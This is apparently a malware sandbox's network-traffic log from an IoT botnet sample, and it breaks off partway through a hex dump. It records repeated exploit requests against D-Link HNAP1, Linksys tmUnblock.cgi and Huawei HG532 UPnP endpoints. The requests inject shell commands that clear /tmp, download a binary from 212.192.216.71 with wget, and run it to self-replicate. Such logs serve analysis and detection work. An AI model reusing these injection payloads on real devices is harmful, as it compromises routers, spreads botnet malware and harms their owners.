xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.192.216.71 -l /tmp/binary -r /bins/mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://212.192.216.71/bins/mips && chmod +x mips;./mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope> |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://212.192.216.71/bins/mpsl;chmod 777 *;./mpsl selfrep.asuData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 31 39 32 2e 32 31 36 2e 37 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 62 69 6e 73 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 